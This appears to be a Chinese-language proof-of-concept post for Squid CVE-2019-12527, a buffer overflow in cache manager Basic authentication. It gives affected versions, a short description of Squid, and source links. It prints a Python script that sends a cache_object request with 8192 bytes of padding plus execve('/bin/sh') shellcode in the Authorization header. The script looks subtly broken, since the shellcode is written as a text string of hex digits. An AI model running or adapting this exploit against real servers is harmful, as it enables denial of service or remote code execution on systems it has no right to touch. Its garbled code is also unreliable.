squid CVE-2019-12527 POC

squid 4.7

受影响squid版本:Squid 4.0.23 -> 4.7

漏洞类型:此漏洞最初被描述为堆缓冲区溢出。已更正此问题,已反映这是静态缓冲区溢出

squid CVE-2019-12527 Linux 服务端验证

声明:

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,Allsafe以及文章作者不为此承担任何责任。

环境搭建:

centos x64

squid 4.7

受影响squid版本:Squid 4.0.23 -> 4.7

漏洞类型:此漏洞最初被描述为堆缓冲区溢出。已更正此问题,已反映这是静态缓冲区溢出

squid服务简介:

Squid,一个高性能的代理缓存服务器,支持FTP、gopher、HTTP协议。

Squid,一个缓存Internet 数据的软件,其接收用户的下载申请(作为代理服务器),并自动处理所下载的数据,并返回给客户。

当一个用户想要下载一个主页时,可以向Squid 发出一个申请,让Squid 代替其进行下载,然后Squid 连接所申请网站并请求该主页,接着把该主页传给用户同时保留一个备份,Squid 可以代理HTTP、FTP、GOPHER、SSL和WAIS等协议并且Squid 可以自动地进行处理,并可以根据自己的需要设置Squid,使之过滤掉不想要的东西。

漏洞分析:

详见:趋势科技研究团队编号为CVE-2019-12527的Squid代理服务器缓冲区溢出漏洞分析报告

漏洞检测:

Linux bash poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# encoding=utf-8
import base64
import hackhttp
urll = 'ip'
padding = 'a'*8192
# payload为针对操作系统的某一版本的shellcode
payload = "0x504831d24831f648bb2f62696e2f2f736853545fb03b0f05"
raw_data = """
GET cache_object://ip/info HTTP/1.1\r\n
Host: ip\r\nAuthorization: Basic """
p = base64.b64encode((padding+payload).encode('utf-8'))
hackhttp.http(url='http://'+urll, raw=raw_data+str(p))
print('-----------------------------------------------------------------+')

以上资料来源:

Zero Day:https://www.thezdi.com/blog/2019/8/22/cve-2019-12527-code-execution-on-squid-proxy-through-a-heap-buffer-overflow

官网公告:http://www.squid-cache.org/Advisories/SQUID-2019_5.txt

最后感谢:BugscanTeam 打造的一款 Python 语言的 HTTP 第三方库-hackhttp